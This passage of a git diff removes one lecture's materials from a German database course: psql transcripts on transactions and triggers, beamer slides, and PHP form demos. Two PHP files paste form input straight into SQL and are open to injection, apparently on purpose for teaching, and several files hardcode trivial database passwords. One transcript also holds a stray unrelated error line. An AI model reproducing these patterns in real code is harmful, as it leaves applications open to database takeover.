'Mustermann'); -UPDATE 1 -testdb=*> UPDATE account SET balance = balance - 10000000 WHERE id = (SELECT account_id FROM customer WHERE lastname = 'Rich'); -UPDATE 1 -testdb=*> SELECT * FROM customer; id | lastname | firstname | account_id -----+------------+-----------+------------ - 2 | Mustermann | Erika | 1 - 4 | Rich | Richie | 2 -(2 Zeilen) - -testdb=*> SELECT * FROM account; id | number | balance -----+-----------------------------+---------- - 1 | DE12 3456 7890 ABCD EFGH IJ | 11000001 - 2 | DE98 7654 3210 ABCD EFGH IJ | -6000001 -(2 Zeilen) - -testdb=*> ROLLBACK; -ROLLBACK -testdb=> SELECT * FROM customer; - id | lastname | firstname | account_id -----+------------+-----------+------------ - 2 | Mustermann | Erika | 1 - 4 | Rich | Richie | 2 -(2 Zeilen) - -testdb=> SELECT * FROM account; - id | number | balance -----+-----------------------------+--------- - 1 | DE12 3456 7890 ABCD EFGH IJ | 1000001 - 2 | DE98 7654 3210 ABCD EFGH IJ | 3999999 -(2 Zeilen) - -testdb=> diff --git a/20231207/Zeichen_123.pdf b/20231207/Zeichen_123.pdf deleted file mode 120000 index fdbc897227df059cfda790a16555e6e417682116..0000000000000000000000000000000000000000 --- a/20231207/Zeichen_123.pdf +++ /dev/null @@ -1 +0,0 @@ -../common/Zeichen_123.pdf \ No newline at end of file diff --git a/20231207/dbs-20231207.pdf b/20231207/dbs-20231207.pdf deleted file mode 100644 index 0ed5fc0a3320efa5dec3a3c373b1e2c3ed4775fe..0000000000000000000000000000000000000000 Binary files a/20231207/dbs-20231207.pdf and /dev/null differ diff --git a/20231207/dbs-20231207.tex b/20231207/dbs-20231207.tex deleted file mode 100644 index d72d88d149d27843dfc1e3dcb24aa68999c0cc76..0000000000000000000000000000000000000000 --- a/20231207/dbs-20231207.tex +++ /dev/null @@ -1,278 +0,0 @@ -% dbs-20231207.pdf - Lecture Slides on Databases and Information Security -% Copyright (C) 2023 Peter Gerwinski -% -% This document is free software: you can redistribute it and/or -% modify it either under the terms of the Creative Commons -% Attribution-ShareAlike 3.0 License, or under the terms of the -% GNU General Public License as published by the Free Software -% Foundation, either version 3 of the License, or (at your option) -% any later version. -% -% This document is distributed in the hope that it will be useful, -% but WITHOUT ANY WARRANTY; without even the implied warranty of -% MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -% GNU General Public License for more details. -% -% You should have received a copy of the GNU General Public License -% along with this document. If not, see <http://www.gnu.org/licenses/>. -% -% You should have received a copy of the Creative Commons -% Attribution-ShareAlike 3.0 Unported License along with this -% document. If not, see <http://creativecommons.org/licenses/>. - -% README: Funktionen, Trigger, SQL Injection - -\documentclass[10pt,t]{beamer} - -\usepackage{pgslides} - -\newcommand{\vfilll}{\vspace{0pt plus 1filll}} - -\newcommand{\underconstruction}{% - \begin{picture}(0,0) - \put(11,1.2){\makebox(0,0)[b]{\includegraphics[width=1.5cm]{Zeichen_123.pdf}}} - \put(11,0.9){\makebox(0,0)[t]{\shortstack{Änderungen\\vorbehalten}}} - \end{picture}} - -\title{Datenbanken und Datensicherheit} -\author{Prof.\ Dr.\ rer.\ nat.\ Peter Gerwinski} -\date{7.\ Dezember 2023} - -\begin{document} - -\maketitleframe - -\nosectionnonumber{\inserttitle} - -\begin{frame} - - \shownosectionnonumber - - \begin{itemize} - \item[\textbf{1}] \textbf{Einführung} - \hfill\makebox(0,0)[br]{\raisebox{2.25ex}{\url{https://gitlab.cvh-server.de/pgerwinski/dbs}}}% - \item[\textbf{2}] \textbf{Kurzeinführung Unix} - \item[\textbf{3}] \textbf{Kurzeinführung TCP/IP} - \item[\textbf{4}] \textbf{Relationale Datenbanken} - \begin{itemize} - \vspace*{-\smallskipamount} - \item[\textbf{\dots}] - \item[4.7] Datensicherung - \color{medgreen} - \item[4.8] Transaktionen - \item[4.9] Indizierung - \color{red} - \item[4.10] Funktionen und Trigger - \color{orange} - \item[4.11] GUI-Zugriff - \color{red} - \item[4.12] SQL Injection - \color{black} - \item[4.13] Sonstige Datenbanken - \end{itemize} - \item[\textbf{5}] \textbf{Kryptographie} - \begin{itemize} - \item[5.1] Einführung - \vspace*{-\smallskipamount} - \item[\textbf{\dots}] - \end{itemize} - \vspace*{-\smallskipamount} - \item[\textbf{\dots}] - \end{itemize} - - \vfilll - \underconstruction - -\end{frame} - -\setcounter{section}{3} -\section{Relationale Datenbanken} -\setcounter{subsection}{7} -\subsection{Transaktionen} - -\begin{frame}[fragile] - - \showsection - \showsubsection - - \begin{itemize} - \item - Ziel: Wahrung der Konsistenz - \item - Methode: zusammengehörige Aktionen zu einer \newterm{Transaktion} zusammenfassen - \item - Beispiel: Überweisung\\ - Betrag von einem Konto subtrahieren\\ - und "`gleichzeitig"' zu einem anderen Konto addieren - \item - Realisierung in PostgreSQL: - \lstinline[style=cmd]{BEGIN;} \dots\ \lstinline[style=cmd]{COMMIT;} - \item - Realisierung in MariaDB: - \lstinline[style=cmd]{START TRANSACTION;} \dots\ \lstinline[style=cmd]{COMMIT;} - \item - Abbruch einer Transaktion: - \lstinline[style=cmd]{ROLLBACK;} statt \lstinline[style=cmd]{COMMIT;} - \end{itemize} - -\end{frame} - -\subsection{Indizierung} - -\begin{frame}[fragile] - - \showsection - \showsubsection - - \begin{itemize} - \item - Ziel: Performanzgewinn - \item - Methode: Spalten, in denen häufig gesucht wird, sortieren - \item - Beispiel: Datenbank mit Kontaktdaten\\ - Suche nach Name, Adresse, Telefonnummer - \item - Realisierung in PostgreSQL und MariaDB: - \begin{lstlisting}[style=cmd,gobble=8] - CREATE INDEX <Indexname> ON <Tabellenname> - ( - <Spaltenname>, - ... - ); - \end{lstlisting} - \item - Vorteil: schnellere Suche (\lstinline[style=cmd]{SELECT}) in indizierten Spalten -% \pause - \item - Nachteil: langsameres Einfügen/Ändern/Löschen - \end{itemize} - -\end{frame} - -\subsection{Funktionen und Trigger} - -\begin{frame} - - \showsection - \showsubsection - - Funktionen: - \begin{itemize} - \item - \lstinline[style=cmd]{PROCEDURE} entspricht einer \lstinline{void}-Funktion in C. - \item - \url{https://www.postgresql.org/docs/15/sql-createprocedure.html} - \end{itemize} - - \bigskip - - Trigger: - \begin{itemize} - \item - \url{https://www.sqltutorial.org/sql-triggers/} - \item - \url{https://www.postgresqltutorial.com/postgresql-triggers/creating-first-trigger-postgresql/} - \end{itemize} - -\end{frame} - -\subsection{GUI-Zugriff} - -\begin{frame} - - \showsection - \showsubsection - - \begin{itemize} - \item - Anwendung nutzt DBMS-Client-Bibliothek\\ - GUI-Programmierung: wie gewohnt - \item - Spezialfall: Web-Anwendung - \end{itemize} - - \bigskip - - Beispiel: Programmiersprache PHP - \begin{itemize} - \item - Integration in HTML-Quelltext: \lstinline{<?php ... ?>} - \item - Objekt zur Kommunikation mit Datenbanken: \lstinline{PDO} - \end{itemize} - - \bigskip - - Literatur: - \begin{itemize} - \item - \url{https://www.postgresqltutorial.com/postgresql-php/connect/} - \item - \url{https://www.phptutorial.net/php-pdo/pdo-connecting-to-postgresql/} - \end{itemize} - -\end{frame} - -\subsection{SQL Injection} - -\begin{frame} - - \showsection - \showsubsection - - Literatur: - \begin{itemize} - \item - \url{https://xkcd.com/327/} - \end{itemize} - -\end{frame} - -\iffalse - -\subsection{Sonstige Datenbanken} - -\begin{frame} - - \showsection - \showsubsection - - \begin{itemize} - \item - Eingebettete Datenbanken:\\ - Berkeley DB, SQLite\\ - Software-Bibliothek, keine Client-Server-Struktur - \item - Nicht-relationale Datenbanken:\\ - dokumentenorientierte Datenbanken, noSQL\\ - Performanz wichtiger als Konsistenz\\ - \textarrow\ Applikationen stärker in Konsistenzprüfung eingebunden - \end{itemize} - -\end{frame} - -\section{Kryptographie} -\subsection{Einführung} - -\begin{frame} - - \showsection - \showsubsection - - \begin{itemize} - \item - Verschlüsselung: symmetrisch, asymmetrisch, hybrid - \item - Hashes: Einwegfunktionen, Salt - \item - Signaturen, Zertifikate - \item - Schlüsselaustausch - \end{itemize} - -\end{frame} - -\fi - -\end{document} diff --git a/20231207/functions-01.txt b/20231207/functions-01.txt deleted file mode 100644 index bb84b14be75de373bfec371af3d2b9ec84182f7b..0000000000000000000000000000000000000000 --- a/20231207/functions-01.txt +++ /dev/null @@ -1,154 +0,0 @@ -testdb=> \d - Liste der Relationen - Schema | Name | Typ | Eigentümer ---------+------------------+---------+------------ - public | account | Tabelle | dbs - public | account_id_seq | Sequenz | dbs - public | cd | Tabelle | dbs - public | cd_cd_id_seq | Sequenz | dbs - public | customer | Tabelle | dbs - public | customer_id_seq | Sequenz | dbs - public | interpret | Tabelle | dbs - public | interpret_id_seq | Sequenz | dbs - public | lied | Tabelle | dbs - public | lied_auf_cd | Sicht | dbs - public | test | Tabelle | dbs - public | tier | Tabelle | dbs - public | tier_id_seq | Sequenz | dbs -(13 Zeilen) - -testdb=> \d customer - Tabelle »public.customer« - Spalte | Typ | Sortierfolge | NULL erlaubt? | Vorgabewert -------------+---------+--------------+---------------+-------------------------------------- - id | integer | | not null | nextval('customer_id_seq'::regclass) - lastname | text | | | - firstname | text | | | - account_id | integer | | | -Indexe: - "customer_pkey" PRIMARY KEY, btree (id) -Fremdschlüssel-Constraints: - "customer_fkey_account_id" FOREIGN KEY (account_id) REFERENCES account(id) - -testdb=> \d account - Tabelle »public.account« - Spalte | Typ | Sortierfolge | NULL erlaubt? | Vorgabewert ----------+---------+--------------+---------------+------------------------------------- - id | integer | | not null | nextval('account_id_seq'::regclass) - number | text | | | - balance | integer | | | -Indexe: - "account_pkey" PRIMARY KEY, btree (id) - "index_account_number" btree (number) -Fremdschlüsselverweise von: - TABLE "customer" CONSTRAINT "customer_fkey_account_id" FOREIGN KEY (account_id) REFERENCES account(id) - -testdb=> create procedure transfer (sender integer, receiver integer, amount integer) language sql as 'BEGIN; UPDATE account SET balance = balance + amount WHERE id = receiver; UPDATE account SET balance = balance - amount WHERE id = sender; COMMIT;'; -CREATE PROCEDURE -testdb=> select * from customer; - id | lastname | firstname | account_id -----+------------+-----------+------------ - 2 | Mustermann | Erika | 1 - 4 | Rich | Richie | 2 -(2 Zeilen) - -testdb=> select * from account; - id | number | balance -----+-----------------------------+--------- - 1 | DE12 3456 7890 ABCD EFGH IJ | 1000001 - 2 | DE98 7654 3210 ABCD EFGH IJ | 3999999 -(2 Zeilen) - -testdb=> call transfer (2, 4, 1); -FEHLER: BEGIN ist in SQL-Funktionen nicht erlaubt -KONTEXT: SQL-Funktion »transfer« beim Start -testdb=> create or replace procedure transfer (sender integer, receiver integer, amount integer) language sql as 'UPDATE account SET balance = balance + amount WHERE id = receiver; UPDATE account SET balance = balance - amount WHERE id = sender;'; -CREATE PROCEDURE -testdb=> call transfer (2, 4, 1); CALL testdb=> select * from account; id | number | balance ----+-----------------------------+--------- - 1 | DE12 3456 7890 ABCD EFGH IJ | 1000001 - 2 | DE98 7654 3210 ABCD EFGH IJ | 3999998 -(2 Zeilen) - -testdb=> call transfer (1, 2, 1); -CALL -testdb=> select * from account; - id | number | balance -----+-----------------------------+--------- - 2 | DE98 7654 3210 ABCD EFGH IJ | 3999999 - 1 | DE12 3456 7890 ABCD EFGH IJ | 1000000 -(2 Zeilen) - -testdb=> call transfer (select account_id from customer where lastname = 'Mustermann', select account_id from customer where lastname = 'Rich', 1); -FEHLER: Syntaxfehler bei »select« -ZEILE 1: call transfer (select account_id from customer where lastnam... - ^ -testdb=> call transfer ((select account_id from customer where lastname = 'Mustermann'), (select account_id from customer where lastname = 'Rich'), 1); -FEHLER: Unteranfragen können nicht in CALL-Argument verwendet werden -ZEILE 1: call transfer ((select account_id from customer where lastna... - ^ -testdb=> Query failed: Error: Error(s) encountered during statement execution: no such table: moz_hosts -Query failed: Error: Error(s) encountered during statement execution: no such table: moz_hosts -sender integer; -FEHLER: Syntaxfehler bei »sender« -ZEILE 1: sender integer; - ^ -testdb=> declare sender integer; -FEHLER: Syntaxfehler bei »integer« -ZEILE 1: declare sender integer; - ^ -testdb=> set var.sender = 1; -SET -testdb=> set var.sender = ( select account_id from customer where lastname = 'Mustermann' ); -FEHLER: Syntaxfehler bei »(« -ZEILE 1: set var.sender = ( select account_id from customer where las... - ^ -testdb=> var.sender = ( select account_id from customer where lastname = 'Mustermann' ); -FEHLER: Syntaxfehler bei »var« -ZEILE 1: var.sender = ( select account_id from customer where lastnam... - ^ -testdb=> set var.sender = ( select account_id from customer where lastname = 'Mustermann' ); -FEHLER: Syntaxfehler bei »(« -ZEILE 1: set var.sender = ( select account_id from customer where las... - ^ -testdb=> set var.sender = select account_id from customer where lastname = 'Mustermann'; -FEHLER: Syntaxfehler bei »select« -ZEILE 1: set var.sender = select account_id from customer where lastn... - ^ -testdb=> DECLARE sender INTEGER; -FEHLER: Syntaxfehler bei »INTEGER« -ZEILE 1: DECLARE sender INTEGER; - ^ -testdb=> select account_id from customer where lastname = 'Mustermann'; - account_id ------------- - 1 -(1 Zeile) - -testdb=> call transfer (1, 2, 1); CALL -testdb=> select * from account; - id | number | balance -----+-----------------------------+--------- - 2 | DE98 7654 3210 ABCD EFGH IJ | 4000000 - 1 | DE12 3456 7890 ABCD EFGH IJ | 999999 -(2 Zeilen) - -testdb=> \d - Liste der Relationen - Schema | Name | Typ | Eigentümer ---------+------------------+---------+------------ - public | account | Tabelle | dbs - public | account_id_seq | Sequenz | dbs - public | cd | Tabelle | dbs - public | cd_cd_id_seq | Sequenz | dbs - public | customer | Tabelle | dbs - public | customer_id_seq | Sequenz | dbs - public | interpret | Tabelle | dbs - public | interpret_id_seq | Sequenz | dbs - public | lied | Tabelle | dbs - public | lied_auf_cd | Sicht | dbs - public | test | Tabelle | dbs - public | tier | Tabelle | dbs - public | tier_id_seq | Sequenz | dbs -(13 Zeilen) - -testdb=> diff --git a/20231207/index-01.html b/20231207/index-01.html deleted file mode 100644 index f6702da84cbbe4cd2cbffe859eba4c3a987f79e0..0000000000000000000000000000000000000000 --- a/20231207/index-01.html +++ /dev/null @@ -1,8 +0,0 @@ -<html> - <body> - <form action="welcome-01.php" method="post"> - Your name: <input type="text" name="name"><br> - <input type="submit"> - </form> - </body> -</html> diff --git a/20231207/index-02.html b/20231207/index-02.html deleted file mode 100644 index f03af4ba2891fee02fe1312216263ec9566c06b4..0000000000000000000000000000000000000000 --- a/20231207/index-02.html +++ /dev/null @@ -1,9 +0,0 @@ -<html> - <body> - <form action="welcome-02.php" method="post"> - Your name: <input type="text" name="name"><br> - <input type="hidden" name="answer" value="42"> - <input type="submit"> - </form> - </body> -</html> diff --git a/20231207/logo-hochschule-bochum-cvh-text-v2.pdf b/20231207/logo-hochschule-bochum-cvh-text-v2.pdf deleted file mode 120000 index 4aa99b8f81061aca6dcaf43eed2d9efef40555f8..0000000000000000000000000000000000000000 --- a/20231207/logo-hochschule-bochum-cvh-text-v2.pdf +++ /dev/null @@ -1 +0,0 @@ -../common/logo-hochschule-bochum-cvh-text-v2.pdf \ No newline at end of file diff --git a/20231207/logo-hochschule-bochum.pdf b/20231207/logo-hochschule-bochum.pdf deleted file mode 120000 index b6b9491e370e499c9276918182cdb82cb311bcd1..0000000000000000000000000000000000000000 --- a/20231207/logo-hochschule-bochum.pdf +++ /dev/null @@ -1 +0,0 @@ -../common/logo-hochschule-bochum.pdf \ No newline at end of file diff --git a/20231207/pgslides.sty b/20231207/pgslides.sty deleted file mode 120000 index 5be1416f4216f076aa268901f52a15d775e43f64..0000000000000000000000000000000000000000 --- a/20231207/pgslides.sty +++ /dev/null @@ -1 +0,0 @@ -../common/pgslides.sty \ No newline at end of file diff --git a/20231207/school-01.html b/20231207/school-01.html deleted file mode 100644 index f4747769e8e6e46eb439f27e72a171f02e3c0f38..0000000000000000000000000000000000000000 --- a/20231207/school-01.html +++ /dev/null @@ -1,10 +0,0 @@ -<html> - <body> - <h3>Register new student</h3> - <form action="school-01.php" method="post"> - First name: <input type="text" name="first_name"><br> - Family name: <input type="text" name="family_name"><br> - <input type="submit"> - </form> - </body> -</html> diff --git a/20231207/school-01.php b/20231207/school-01.php deleted file mode 100644 index 368dea17cca99755a312238af591703fa480f9cb..0000000000000000000000000000000000000000 --- a/20231207/school-01.php +++ /dev/null @@ -1,47 +0,0 @@ -<html> - <body> - <?php - try - { - $db = new PDO ('pgsql: host = localhost; dbname = testdb; user = dbs; password = 1234'); - } - catch (\PDOException $e) - { - echo '<p>'; - echo $e->getMessage(); - echo '</p>'; - echo '<p>'; - exit ('cannot connect to database'); - echo '</p>'; - } - $db->exec ('INSERT INTO students (first_name, family_name) VALUES ( ' - .$_POST["first_name"].', '.$_POST["familty_name"] - .' );'); - $stmt = $db->query ('SELECT * FROM students;'); - echo '<table><tr>'; - while ($row = $stmt->fetch()) - { - echo '<tr><td>'; - echo $row['id']; - echo '</td><td>'; - echo $row['first_name']; - echo '</td><td>'; - echo $row['family_name']; - echo '</td></tr>'; - } - echo '</tr></table>'; - ?> - </body> -</html> - -<!-- Aus den Log-Dateien des Web-Servers: - - [Thu Dec 07 12:50:06.952167 2023] [php:error] [pid 163970] [client ::1:52394] - PHP Fatal error: Uncaught PDOException: SQLSTATE[42601]: Syntax error: 7 - FEHLER: Syntaxfehler bei \xc2\xbb)\xc2\xab\nLINE 1: ... INTO students - (first_name, family_name) VALUES ( Peter, );\n - ^ in /var/www/dbs/school-01.php:17\nStack trace:\n#0 - /var/www/dbs/school-01.php(17): PDO->exec()\n#1 {main}\n thrown in - /var/www/dbs/school-01.php on line 17 - ---> diff --git a/20231207/school-02.html b/20231207/school-02.html deleted file mode 100644 index 4299afcc1b7f4d6b8373dae2028d0c5266fa2e50..0000000000000000000000000000000000000000 --- a/20231207/school-02.html +++ /dev/null @@ -1,10 +0,0 @@ -<html> - <body> - <h3>Register new student</h3> - <form action="school-02.php" method="post"> - First name: <input type="text" name="first_name"><br> - Family name: <input type="text" name="family_name"><br> - <input type="submit"> - </form> - </body> -</html> diff --git a/20231207/school-02.php b/20231207/school-02.php deleted file mode 100644 index 21016a853166631c95ee48667d9de772484dd5e3..0000000000000000000000000000000000000000 --- a/20231207/school-02.php +++ /dev/null @@ -1,47 +0,0 @@ -<html> - <body> - <?php - try - { - $db = new PDO ('pgsql: host = localhost; dbname = testdb; user = dbs; password = 1234'); - } - catch (\PDOException $e) - { - echo '<p>'; - echo $e->getMessage(); - echo '</p>'; - echo '<p>'; - exit ('cannot connect to database'); - echo '</p>'; - } - $db->exec ("INSERT INTO students (first_name, family_name) VALUES ( '" - .$_POST["first_name"]."', '".$_POST["family_name"] - ."' );"); - $stmt = $db->query ('SELECT * FROM students;'); - echo '<table><tr>'; - while ($row = $stmt->fetch()) - { - echo '<tr><td>'; - echo $row['id']; - echo '</td><td>'; - echo $row['first_name']; - echo '</td><td>'; - echo $row['family_name']; - echo '</td></tr>'; - } - echo '</tr></table>'; - ?> - </body> -</html> - -<!-- Aus den Log-Dateien des Web-Servers: - - [Thu Dec 07 12:50:06.952167 2023] [php:error] [pid 163970] [client ::1:52394] - PHP Fatal error: Uncaught PDOException: SQLSTATE[42601]: Syntax error: 7 - FEHLER: Syntaxfehler bei \xc2\xbb)\xc2\xab\nLINE 1: ... INTO students - (first_name, family_name) VALUES ( Peter, );\n - ^ in /var/www/dbs/school-01.php:17\nStack trace:\n#0 - /var/www/dbs/school-01.php(17): PDO->exec()\n#1 {main}\n thrown in - /var/www/dbs/school-01.php on line 17 - ---> diff --git a/20231207/tiere-01.php b/20231207/tiere-01.php deleted file mode 100644 index 734d14467ee386516252f23c27d2b7c2d0a39c26..0000000000000000000000000000000000000000 --- a/20231207/tiere-01.php +++ /dev/null @@ -1,32 +0,0 @@ -<html> - <body> - <?php - $db = new PDO ('pgsql: host = localhost; dbname = testdb; user = dbs; password = abcd'); - $stmt = $db->query ('SELECT * FROM tier;'); - echo '<table><tr>'; - while ($row = $stmt->fetch()) - { - echo '<tr><td>'; - echo $row['name']; - echo '</td><td>'; - echo $row['tierart']; - echo '</tr></tr>'; - } - echo '</tr></table>'; - ?> - </body> -</html> - -<!-- Aus den Log-Dateien des Web-Servers: - - [Thu Dec 07 12:27:14.834918 2023] [php:error] [pid 130668] [client ::1:60980] - PHP Fatal error: Uncaught PDOException: SQLSTATE[08006] [7] connection to - server at "localhost" (::1), port 5432 failed: FATAL: - Passwort-Authentifizierung f\xc3\xbcr Benutzer \xc2\xbbdbs\xc2\xab - fehlgeschlagen\nconnection to server at "localhost" (::1), port 5432 failed: - FATAL: Passwort-Authentifizierung f\xc3\xbcr Benutzer \xc2\xbbdbs\xc2\xab - fehlgeschlagen in /var/www/dbs/tiere-01.php:4\nStack trace:\n#0 - /var/www/dbs/tiere-01.php(4): PDO->__construct()\n#1 {main}\n thrown in - /var/www/dbs/tiere-01.php on line 4 - ---> diff --git a/20231207/tiere-02.php b/20231207/tiere-02.php deleted file mode 100644 index 0df5e72048b7aa3f734e3193b52859e57d952ccb..0000000000000000000000000000000000000000 --- a/20231207/tiere-02.php +++ /dev/null @@ -1,34 +0,0 @@ -<html> - <body> - <?php - try - { - $db = new PDO ('pgsql: host = localhost; dbname = testdb; user = dbs; password = abcd'); - } - catch (\PDOException $e) - { - echo $e->getMessage(); - } - $stmt = $db->query ('SELECT * FROM tier;'); - echo '<table><tr>'; - while ($row = $stmt->fetch()) - { - echo '<tr><td>'; - echo $row['name']; - echo '</td><td>'; - echo $row['tierart']; - echo '</tr></tr>'; - } - echo '</tr></table>'; - ?> - </body> -</html> - -<!-- Aus den Log-Dateien des Web-Servers: - - [Thu Dec 07 12:32:31.413292 2023] [php:error] [pid 163972] [client ::1:55210] - PHP Fatal error: Uncaught Error: Call to a member function query() on null in - /var/www/dbs/tiere-02.php:12\nStack trace:\n#0 {main}\n thrown in - /var/www/dbs/tiere-02.php on line 12 - ---> diff --git a/20231207/tiere-03.php b/20231207/tiere-03.php deleted file mode 100644 index 93941fe6a7e616cd33647f4c851cf47289128c9b..0000000000000000000000000000000000000000 --- a/20231207/tiere-03.php +++ /dev/null @@ -1,30 +0,0 @@ -<html> - <body> - <?php - try - { - $db = new PDO ('pgsql: host = localhost; dbname = testdb; user = dbs; password = abcd'); - } - catch (\PDOException $e) - { - echo '<p>'; - echo $e->getMessage(); - echo '</p>'; - echo '<p>'; - exit ('cannot connect to database'); - echo '</p>'; - } - $stmt = $db->query ('SELECT * FROM tier;'); - echo '<table><tr>'; - while ($row = $stmt->fetch()) - { - echo '<tr><td>'; - echo $row['name']; - echo '</td><td>'; - echo $row['tierart']; - echo '</tr></tr>'; - } - echo '</tr></table>'; - ?> - </body> -</html> diff --git a/20231207/tiere-04.php b/20231207/tiere-04.php deleted file mode 100644 index 5f78851f6aad553a863c30eebecdcf6b3a454f1c..0000000000000000000000000000000000000000 --- a/20231207/tiere-04.php +++ /dev/null @@ -1,29 +0,0 @@ -<html> - <body> - <?php - try - { - $db = new PDO ('pgsql: host = localhost; dbname = testdb; user = dbs; password = abcd'); - } - catch (\PDOException $e) - { - echo '<p>'; - echo $e->getMessage(); - echo '</p>'; - echo '<p>'; - exit ("cannot connect to database\n</p></body></html>"); - } - $stmt = $db->query ('SELECT * FROM tier;'); - echo '<table><tr>'; - while ($row = $stmt->fetch()) - { - echo '<tr><td>'; - echo $row['name']; - echo '</td><td>'; - echo $row['tierart']; - echo '</tr></tr>'; - } - echo '</tr></table>'; - ?> - </body> -</html> diff --git a/20231207/tiere-05.php b/20231207/tiere-05.php deleted file mode 100644 index 59903734d3fa17ddf490ffcb3691e2b20aac2912..0000000000000000000000000000000000000000 --- a/20231207/tiere-05.php +++ /dev/null @@ -1,30 +0,0 @@ -<html> - <body> - <?php - try - { - $db = new PDO ('pgsql: host = localhost; dbname = testdb; user = dbs; password = 1234'); - } - catch (\PDOException $e) - { - echo '<p>'; - echo $e->getMessage(); - echo '</p>'; - echo '<p>'; - exit ('cannot connect to database'); - echo '</p>'; - } - $stmt = $db->query ('SELECT * FROM tier;'); - echo '<table><tr>'; - while ($row = $stmt->fetch()) - { - echo '<tr><td>'; - echo $row['name']; - echo '</td><td>'; - echo $row['tierart']; - echo '</tr></tr>'; - } - echo '</tr></table>'; - ?> - </body> -</html> diff --git a/20231207/trigger-01.txt b/20231207/trigger-01.txt deleted file mode 100644 index 25f505ad76fb2a01af083c84fcdda071072d0988..0000000000000000000000000000000000000000 --- a/20231207/trigger-01.txt +++ /dev/null @@ -1,66 +0,0 @@ -testdb=> create table account_log ( account_id integer, change integer, timestamp timestamp ); -CREATE TABLE -testdb=> alter table account_log drop column timestamp; -ALTER TABLE -testdb=> alter table account_log create column datetime timestamp; -FEHLER: Syntaxfehler bei »create« -ZEILE 1: alter table account_log create column datetime timestamp; - ^ -testdb=> alter table account_log add column datetime timestamp; -ALTER TABLE -testdb=> \d account_log - Tabelle »public.account_log« - Spalte | Typ | Sortierfolge | NULL erlaubt? | Vorgabewert -------------+-----------------------------+--------------+---------------+------------- - account_id | integer | | | - change | integer | | | - datetime | timestamp without time zone | | | - -testdb=> create trigger after_update_account after update on account for each row begin if new.balance <> old.balance then insert into account_log ( account_id, change, datetime ) values ( new.id, new.balance - old.balance, now () ) end; -FEHLER: Syntaxfehler bei »begin« -ZEILE 1: ...date_account after update on account for each row begin if n... - ^ -testdb=> create procedure log_change (account_id integer, change integer) language sql as 'INSERT INTO account_log (account_id, change, datetime) values (account_id, change, now ())'; CREATE PROCEDURE -testdb=> create trigger after_update_account after update on account for each row log_change (old.account_id, new.balance - old. balance); FEHLER: Syntaxfehler bei »log_change« -ZEILE 1: ...date_account after update on account for each row log_change... - ^ -testdb=> create trigger after_update_account after update on account for each row call log_change (old.account_id, new.balance - old. balance); -FEHLER: Syntaxfehler bei »call« -ZEILE 1: ...date_account after update on account for each row call log_c... - ^ -testdb=> drop procedure log_change; -DROP PROCEDURE -testdb=> create function log_change (account_id integer, change integer) returns trigger language sql as 'INSERT INTO account_log (account_id, change, datetime) values (account_id, change, now ())'; -FEHLER: SQL-Funktionen können keinen Rückgabetyp »trigger« haben -testdb=> create function log_change (account_id integer, change integer) returns trigger language plpgsql as 'BEGIN; INSERT INTO account_log (account_id, change, datetime) values (account_id, change, now ()); END;'; -FEHLER: Triggerfunktionen können keine deklarierten Argumente haben -TIP: Auf die Argumente des Triggers kann stattdessen über TG_NARGS und TG_ARGV zugegriffen werden. -KONTEXT: Kompilierung der PL/pgSQL-Funktion »log_change« nahe Zeile 1 -testdb=> create function log_change () returns trigger language plpgsql as 'BEGIN; INSERT INTO account_log (account_id, change, datetime) values (account_id, change, now ()); END;'; FEHLER: Syntaxfehler bei »;« -ZEILE 1: ...ange () returns trigger language plpgsql as 'BEGIN; INSERT I... - ^ -testdb=> create function log_change () returns trigger language plpgsql as $$ testdb$> if new.balance <> old.balance then -testdb$> insert into log - -testdb$> insert into log_change (account_id, change, datetime) values (old.id, new.balance - old.balance, now ()); -testdb$> end if; -testdb$> return new; -testdb$> end; -testdb$> $$ -testdb-> ; -FEHLER: Syntaxfehler bei »if« -ZEILE 2: if new.balance <> old.balance then - ^ -testdb=> create function log_change () returns trigger language plpgsql as $$ -begin - if new.balance <> old.balance then - insert into log_change (account_id, change, datetime) - values (old.id, new.balance - old.balance, now ()); - end if; - return new; -end; -$$ -; -CREATE FUNCTION -testdb=> create trigger after_update_account after update on account for each row execute procedure log_change (); -CREATE TRIGGER testdb=> diff --git a/20231207/trigger-02.txt b/20231207/trigger-02.txt deleted file mode 100644 index 11c7709bbdd358a504c4c0f6c7e92ff48ff20d46..0000000000000000000000000000000000000000 --- a/20231207/trigger-02.txt +++ /dev/null @@ -1,26 +0,0 @@ -testdb=> \d Liste der Relationen - Schema | Name | Typ | Eigentümer ---------+------------------+---------+------------ - public | account | Tabelle | dbs - public | account_id_seq | Sequenz | dbs - public | account_log | Tabelle | dbs - public | cd | Tabelle | dbs - public | cd_cd_id_seq | Sequenz | dbs - public | customer | Tabelle | dbs - public | customer_id_seq | Sequenz | dbs - public | interpret | Tabelle | dbs - public | interpret_id_seq | Sequenz | dbs - public | lied | Tabelle | dbs - public | lied_auf_cd | Sicht | dbs - public | test | Tabelle | dbs - public | tier | Tabelle | dbs - public | tier_id_seq | Sequenz | dbs -(14 Zeilen) - -testdb=> call transfer (2, 1, 10); FEHLER: Relation »log_change« existiert nicht -ZEILE 1: insert into log_change (account_id, change, datetime) values... - ^ -ANFRAGE: insert into log_change (account_id, change, datetime) values (old.id, new.balance - old.balance, now ()) -KONTEXT: PL/pgSQL-Funktion log_change() Zeile 3 bei SQL-Anweisung -SQL-Funktion »transfer« Anweisung 1 -testdb=> diff --git a/20231207/trigger-03.txt b/20231207/trigger-03.txt deleted file mode 100644 index 6c266e6f499c57f0e4f1fd543f244b2593a801ae..0000000000000000000000000000000000000000 --- a/20231207/trigger-03.txt +++ /dev/null @@ -1,23 +0,0 @@ -testdb=> create function log_change () returns trigger language plpgsql as $$ begin if new.balance <> old.balance then insert into account_log (account_id, change, datetime) values (old.id, new.balance - old.balance, now ()); -end if; -return new; -end; -$$ -; -FEHLER: Funktion »log_change« existiert bereits mit den selben Argumenttypen -testdb=> drop function log_change; -FEHLER: kann Funktion log_change() nicht löschen, weil andere Objekte davon abhängen -DETAIL: Trigger after_update_account für Tabelle account hängt von Funktion log_change() ab -TIP: Verwenden Sie DROP ... CASCADE, um die abhängigen Objekte ebenfalls zu löschen. -testdb=> create or replace function log_change () returns trigger language plpgsql as $$ -begin - if new.balance <> old.balance then - insert into account_log (account_id, change, datetime) - values (old.id, new.balance - old.balance, now ()); - end if; - return new; -end; -$$ -; -CREATE FUNCTION -testdb=> diff --git a/20231207/trigger-04.txt b/20231207/trigger-04.txt deleted file mode 100644 index 3f043fd90266375f886a79acdd5fcd8e114c7ad9..0000000000000000000000000000000000000000 --- a/20231207/trigger-04.txt +++ /dev/null 